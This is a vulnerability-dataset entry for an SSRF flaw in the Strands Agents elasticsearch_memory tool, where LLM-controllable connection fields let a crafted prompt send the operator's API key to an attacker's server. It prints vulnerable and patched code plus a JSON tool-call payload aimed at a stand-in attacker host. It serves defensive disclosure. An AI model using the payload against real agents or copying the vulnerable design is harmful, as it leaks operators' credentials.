CVE-2026-15746
SSRF in Strands Agents elasticsearch_memory tool leaks Elasticsearch API key.
- CVSS 6.9
- CWE-918
- Input Validation and Sanitization
- Remote
Strands Agents is an open-source Python SDK for building and running AI agents. The strands-agents-tools package provides pre-built tools for use with the SDK, including the elasticsearch_memory tool for agent memory storage. We identified CVE-2026-15746, a server-side request forgery (SSRF) issue in the elasticsearch_memory tool. The tool exposed its connection parameters (es_url, cloud_id, api_key) as fields the large language model (LLM) could control through the tool schema. When a caller omitted the api_key parameter, the tool fell back to the operator's ELASTICSEARCH_API_KEY environment variable and sent it to whichever host the LLM specified. A crafted prompt could cause the tool to connect to a threat-actor-controlled server and disclose the operator's Elasticsearch API key in the Authorization header. We recommend you upgrade to strands-agents-tools version 0.7.0 or later. As a precautionary measure, we recommend all operators rotate their ELASTICSEARCH_API_KEY, even if there is no indication the credential was exposed.
- CWE
- CWE-918
- CVSS base score
- 6.9
- Published
- 2026-07-15
- OWASP
- A10 Server-Side Request Forgery (SSRF)
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Server-Side Request Forgery (SSRF)
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- strands-agen
- Fixed by upgrading
- Yes
Solution
Upgrade strands-agents-tools to version 0.7.0 or later.
Vulnerable code sample
import os
import requests
from typing import Optional
def elasticsearch_memory_tool(es_url: str, api_key: Optional[str] = None):
"""
A representative function demonstrating the vulnerable logic.
The LLM can control `es_url` and omit `api_key`.
"""
auth_key = api_key
# If the caller (LLM) omits the api_key, the function falls back
# to the operator's environment variable.
if auth_key is None:
auth_key = os.environ.get("ELASTICSEARCH_API_KEY")
if not auth_key:
return "Error: No Elasticsearch API key was provided or found in the environment."
headers = {
"Authorization": f"ApiKey {auth_key}"
}
try:
# The request is sent to the `es_url` controlled by the LLM.
# This leaks the `Authorization` header to the target server.
response = requests.get(es_url, headers=headers, timeout=5)
response.raise_for_status()
return "Request sent successfully."
except requests.exceptions.RequestException as e:
return f"Error making request: {e}"Patched code sample
import os
import requests
from pydantic import BaseModel, Field
# This Pydantic model defines the schema for data the LLM can provide.
# Notice that connection parameters like 'es_url' or 'api_key' are NOT
# included. The LLM can only control operational parameters like the query.
class FixedElasticsearchMemoryInput(BaseModel):
query: str = Field(description="The query to search for in the memory.")
content_to_store: str | None = Field(
default=None, description="Content to store in the memory."
)
class FixedElasticsearchMemoryTool:
"""
A representation of the fixed elasticsearch_memory tool.
The fix prevents the Server-Side Request Forgery (SSRF) vulnerability
by removing connection parameters (es_url, cloud_id, api_key) from the
LLM-controllable input schema. These parameters are now configured
securely during the tool's initialization using environment variables,
ensuring the LLM cannot redirect requests to an arbitrary server.
"""
name = "elasticsearch_memory"
description = "Interacts with Elasticsearch memory to store or retrieve information."
model = FixedElasticsearchMemoryInput
def __init__(self):
# FIX: Connection parameters are loaded securely from the operator's
# environment during initialization. They are no longer part of the
# runtime input from the LLM.
self.es_url = os.environ.get("ELASTICSEARCH_URL")
api_key = os.environ.get("ELASTICSEARCH_API_KEY")
if not self.es_url or not api_key:
raise ValueError(
"Operator must set ELASTICSEARCH_URL and ELASTICSEARCH_API_KEY "
"environment variables."
)
# The connection client is configured once with the secure parameters.
self.session = requests.Session()
self.session.headers.update({"Authorization": f"ApiKey {api_key}"})
def run(self, **kwargs):
# The 'kwargs' from the LLM are validated against the restricted
# FixedElasticsearchMemoryInput model. Any attempt to pass 'es_url'
# would be ignored.
try:
inputs = self.model(**kwargs)
except Exception as e:
return f"Invalid input: {e}"
# FIX: The request is always sent to the pre-configured 'self.es_url',
# preventing the LLM from specifying a malicious destination.
if inputs.query:
print(f"Executing search on pre-configured host: {self.es_url}")
# In a real implementation, a request would be made, e.g.:
# response = self.session.post(f"{self.es_url}/_search", json=...)
return f"Successfully queried memory for '{inputs.query}'."
return "No operation was performed."Payload
{
"tool_name": "elasticsearch_memory",
"tool_input": {
"es_url": "http://attacker-controlled-server.com",
"query": "Retrieve my recent memories."
}
}
Cite this entry
@misc{vaitp:cve202615746,
title = {{SSRF in Strands Agents elasticsearch_memory tool leaks Elasticsearch API key.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-15746},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-15746/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
